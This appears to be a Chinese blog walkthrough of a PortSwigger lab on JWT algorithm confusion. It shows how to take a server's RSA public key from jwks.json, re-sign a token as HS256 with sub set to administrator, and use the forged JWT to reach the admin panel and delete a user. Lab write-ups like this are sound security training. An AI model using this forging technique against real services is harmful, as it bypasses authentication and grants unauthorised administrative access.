当前位置: 首页 > news >正文

JWT 算法混淆攻击

JWT 算法混淆攻击

一、前言

JWT 算法混淆漏洞成因

该漏洞本质是服务端验证逻辑的两个失误:

  1. 信任alg字段:服务端未强制固定验签算法,而是听从 JWT Header 中的alg声明。
  2. 密钥上下文混淆:当算法被改为 HS256(对称加密)时,服务端错误地复用RSA 公钥作为 HMAC 的密钥

正常情况下,公钥仅用于验签 RS256 签名。但在 HS256 模式下,公钥变成了“对称密钥”。因为公钥是公开的,攻击者即可用它伪造签名,通过服务端验证。

二、靶场测试

靶场地址(需注册账号):https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion

1. 进入靶场

进入靶场,点击My account进入登录页面,输入账号密码登录:

wiener peter

进入admin界面,显示只有administrator用户才能使用:

2. 获取公钥

访问jwks.json获取服务器的RSA公钥

{"kty":"RSA","e":"AQAB","use":"sig","kid":"4c7c90f0-f586-4caf-916f-cb261365751e","alg":"RS256","n":"tmF7ZxEtKCB042bKRwSfCEs1brWUpfDnVyIORK-APdxTa8IUdVef3duwnmzbOjVdPM5jKmEYWfG8GEiqebrZ2Vd__1rXa0nluSUe-FWkEN2Z7oLn8RYOa6Qa2CRpCxwvJ4aVN3ogDbCHXDsZnnneIVk47dj8JFu9xta8xFo7S1UYaTMmvTCeAMPj67X5FyVyyAR2vl4UN3ISM9-8NxyL-BL5O0x-Pa70j17_KZkQEJMG_CZpUn-JNx9SmTwCKzAxX_vs_aW3ytiJBSOYK1M0RWdiskz9LbZnHNxRaggbhVKQnN2kkIMdI5xUDqSr-XCjS901PddwoEkaZWOCA9aISw"}

使用在线网站一键转换为PEM格式公钥(也可以自己编写Python脚本或者使用Burp的JWT Editor)

地址:https://atools.live/zh-cn/tools/pem-jwk-toolkit

-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtmF7ZxEtKCB042bKRwSf CEs1brWUpfDnVyIORK+APdxTa8IUdVef3duwnmzbOjVdPM5jKmEYWfG8GEiqebrZ 2Vd//1rXa0nluSUe+FWkEN2Z7oLn8RYOa6Qa2CRpCxwvJ4aVN3ogDbCHXDsZnnne IVk47dj8JFu9xta8xFo7S1UYaTMmvTCeAMPj67X5FyVyyAR2vl4UN3ISM9+8NxyL +BL5O0x+Pa70j17/KZkQEJMG/CZpUn+JNx9SmTwCKzAxX/vs/aW3ytiJBSOYK1M0 RWdiskz9LbZnHNxRaggbhVKQnN2kkIMdI5xUDqSr+XCjS901PddwoEkaZWOCA9aI SwIDAQAB -----END PUBLIC KEY-----

在jwt.io用该公钥对自己的JWT验签,可以看到验签成功

3. 构造JWT

由于在jwt.io直接粘贴公钥构造签名会出错,经过检查发现是0d0a换行的问题,所以这里用CyberChef转换一下,替换0d0a为0a,然后编码成URL safe的Base64:

LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF0bUY3WnhFdEtDQjA0MmJLUndTZgpDRXMxYnJXVXBmRG5WeUlPUksrQVBkeFRhOElVZFZlZjNkdXdubXpiT2pWZFBNNWpLbUVZV2ZHOEdFaXFlYnJaCjJWZC8vMXJYYTBubHVTVWUrRldrRU4yWjdvTG44UllPYTZRYTJDUnBDeHd2SjRhVk4zb2dEYkNIWERzWm5ubmUKSVZrNDdkajhKRnU5eHRhOHhGbzdTMVVZYVRNbXZUQ2VBTVBqNjdYNUZ5Vnl5QVIydmw0VU4zSVNNOSs4Tnh5TAorQkw1TzB4K1BhNzBqMTcvS1prUUVKTUcvQ1pwVW4rSk54OVNtVHdDS3pBeFgvdnMvYVczeXRpSkJTT1lLMU0wClJXZGlza3o5TGJabkhOeFJhZ2diaFZLUW5OMmtrSU1kSTV4VURxU3IrWENqUzkwMVBkZHdvRWthWldPQ0E5YUkKU3dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg

进入Encoder界面,Header的RS256(带有SHA-256的 RSA 签名)改为HS256(带有 SHA-256 的HMAC),Payload的sub改为administrator,Secret填入刚才的Base64编码后的PEM公钥

eyJraWQiOiI0YzdjOTBmMC1mNTg2LTRjYWYtOTE2Zi1jYjI2MTM2NTc1MWUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzUwNTAzNiwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.s2UHOkkOGGiazE4JgW8E2SoLLNkGbBcbCrBRSHHIrG4

4.验证

访问my-account接口,Cookie换成构造的JWT,显示当前用户为administrator

可以访问admin接口了

这里抓包替换查看更直观一点:

点击Delete,抓包替换一下JWT,删除用户成功,通关成功


本文作者CVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
先知社区:https://xz.aliyun.com/users/136909
微信公众号:Lemon安全

http://www.cnnetsun.cn/news/1318913.html

相关文章:

  • YOLO26涨点改进| 1区Top 2025 | 全网独家创新、细节涨点改进篇| 3个月喜提一区YOLO真神!引入FSPPF漏斗空间金字塔池化模块,含多种组合创新点,助力小目标检测、图像分割高效涨点
  • 冯诺依曼与哈佛架构对比解析
  • STM32家庭环境监测系统:本地智能+MQTT云联+离线语音三重控制
  • 纯模拟电路实现的音频频谱可视化与机械摇摆系统
  • springboot党员之家服务系统 微信小程序毕业论文
  • Lingyuxiu MXJ LoRA算力优化案例:中小企业GPU资源利用率翻倍实践
  • 基于STM32的多模态智能LED照明系统设计
  • 使用Chainlit调用glm-4-9b-chat-1m注意事项:等待模型加载完成再提问
  • Phi-3 Forest Lab应用场景:开源项目维护者——ISSUE分类、PR描述润色、文档补全
  • Ostrakon-VL-8B零售创新:结合地理围栏,自动触发新开门店首周AI巡检
  • 【ISO14229_UDS诊断】-2.1-$27服务安全访问SecurityAccess实战解析
  • Qwen2.5-VL-7B-Instruct企业实操:与OA系统集成实现会议纪要图文自动归档
  • 解耦利器:深入CommunityToolkit.Mvvm中的Messenger消息机制
  • ESP32串口通信实战:按键控制数据发送
  • Unity PhysicsScene多场景物理仿真:精准预测碰撞与轨迹绘制实战
  • S905L3A/L3AB芯片迎来安卓14新纪元:Sicha移植版固件深度评测与刷机指南
  • ADS1299心电图采集模块实战:从寄存器配置到数据解析全流程
  • 为什么你的Dify集成总卡在审批流?揭秘头部金融客户已验证的5层流程引擎解耦方案
  • 聚类算法实战指南:从K-means到图聚类的场景化应用与优化策略
  • SLAM新手必看:5分钟搞懂世界坐标系到像素坐标系的完整转换链条
  • 解决Windows10中VMware与Hyper-V冲突的3种实用方法
  • 如何用Mac Mouse Fix解决Mac鼠标操作效率低下的问题?
  • 【树莓派4B/CM4】Ubuntu 18.04下CSI摄像头的驱动安装与配置全攻略
  • Android网络优先级之争:以太网如何通过NetworkFactory评分机制抢占连接(附调试技巧)
  • 新手友好:在快马平台用AI生成第一个链接检查程序
  • 嵌入式电子阅读器低功耗设计与墨水屏驱动优化
  • KUKA KR210负载设置实战:如何避免A5轴超载的设计优化方案
  • FaceRecon-3D环境部署教程:Ubuntu/CUDA11.8下PyTorch3D零报错安装
  • 卡证检测矫正模型OCR协同方案:为PaddleOCR/Tesseract提供标准输入图
  • C#实战:5分钟搞定AI模型API的SSE流式输出(附完整代码)